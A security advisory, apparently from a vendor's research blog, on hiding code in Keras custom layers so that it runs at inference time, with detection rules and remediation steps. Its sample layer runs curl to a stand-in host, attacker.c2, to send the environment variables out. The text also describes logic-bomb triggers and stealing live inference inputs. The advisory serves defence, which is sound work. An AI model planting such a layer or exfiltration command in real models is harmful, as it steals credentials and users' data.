EresusSecurity
Back to Research
Runtime Threats

PAIT-KERAS-301: Deferred Code Execution via Malicious Custom Layers in Keras Models

Yiğit İbrahim SağlamOffensive Security Specialist
September 25, 2025
Updated: April 10, 2026
3 min read

Overview

In traditional machine-learning threat modeling, security teams primarily focus on load-time deserialization attacks (such as Python pickle exploits or unsafe joblib unpickling). However, modern deep learning frameworks like TensorFlow and Keras support expressive architectural extensibility via Custom Layer declarations.

The PAIT-KERAS-301 finding identifies an evasion technique where malicious operations are intentionally absent during model deserialization (keras.models.load_model), but are executed dynamically during the inference forward pass (model.predict() or model(inputs)). By embedding weaponized logic inside a custom layer's call() method, an adversary can bypass static import-time scanners and trigger unauthenticated code execution within production inference environments.

Technical Mechanics: Keras Custom Layer Serialization

Keras formats (.keras zip bundles and legacy .h5 HDF5 files) store model architecture configurations as JSON or serialized bytecode, accompanied by weight tensors. While Keras Lambda layers are well-known vectors for raw Python code injection, advanced threat actors construct custom subclassed Layer objects:

import tensorflow as tf
import os

class NormalizationFeatureLayer(tf.keras.layers.Layer):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)

    def call(self, inputs):
        # Legitimate mathematical computation to preserve model accuracy
        output = tf.nn.relu(inputs)
        
        # Concealed runtime hook executing during model.predict()
        # Triggers once inference begins in production
        try:
            os.system("curl -s http://attacker.c2/exfil?data=$(env | base64 -w0)")
        except Exception:
            pass
            
        return output

When the model is compiled and saved, standard static checks examining only the model file header observe valid tensor definitions. When an application loads the model with custom object mapping:

# Application loads the model (No code executes here)
model = tf.keras.models.load_model("fraud_detector.keras", custom_objects={"NormalizationFeatureLayer": NormalizationFeatureLayer})

# Exploitation triggers upon processing production user requests
predictions = model.predict(live_user_transactions)

Evasion Advantages of PAIT-KERAS-301

  1. Deferred Execution: Attackers bypass staging security scanners that only verify whether load_model() succeeds without crashing.
  2. Conditional Activation (Logic Bombs): The payload can be programmed to trigger only after a specific timestamp, after processing $N$ inference queries, or when receiving a trigger input pattern (Backdoored AI Trigger).
  3. Data Exfiltration from Live Inputs: Because the malicious logic executes inside call(inputs), the layer can directly capture and exfiltrate live customer inference data (passwords, medical records, financial inputs) to external endpoints.

Detection Strategy with Eresus Sentinel

Eresus Sentinel inspects both .keras zip schemas and serialized custom object graphs, flagging models for PAIT-KERAS-301 upon detecting:

  • Subclassed Layer implementations invoking external libraries outside tensorflow.* or keras.*.
  • AST nodes referencing os, sys, socket, subprocess, or file I/O operations inside call() or build() methods.
  • Dynamic network socket or process spawning primitives embedded inside layer serialization configs.

Step-by-Step Remediation Guide

  1. Enforce Keras 3 safe_mode=True: Always load Keras models with safe_mode=True to block arbitrary Python bytecode execution:
    # Blocks unverified custom bytecode execution
    model = tf.keras.models.load_model("model.keras", safe_mode=True)
    
  2. Migrate to Declarative Standard Layers: Replace custom subclassed layers with standard functional Keras primitives (e.g., tf.keras.layers.Dense, tf.keras.layers.LayerNormalization).
  3. Export to Static Graphs (ONNX / TensorFlow Lite): Convert production models to ONNX or TFLite formats, which compile calculations into static computation graphs with no access to the host Python interpreter.
  4. Isolate Inference Pods: Run inference workers in Kubernetes with read-only root filesystems and strict egress firewall rules to prevent C2 exfiltration.

Frequently Asked Questions

Why do standard linters miss PAIT-KERAS-301?

Standard linters analyze source repositories, whereas PAIT-KERAS-301 payloads reside inside serialized binary or JSON model configurations stored in model registries.

Can custom layers steal training or inference data?

Yes. Because the call(inputs) method receives raw input tensors, it can copy and transmit live production data before returning the mathematical output.

What is the safest format for Keras model deployment?

Exporting to ONNX or using Safetensors alongside explicit configuration schemas guarantees that model execution is constrained to pure tensor operations.

Security Validation

Have you tested this risk in your own system?

Eresus Security delivers real exploit evidence through penetration testing, AI agent security, and red team operations.

Request a pilot test

Related Research

Related Services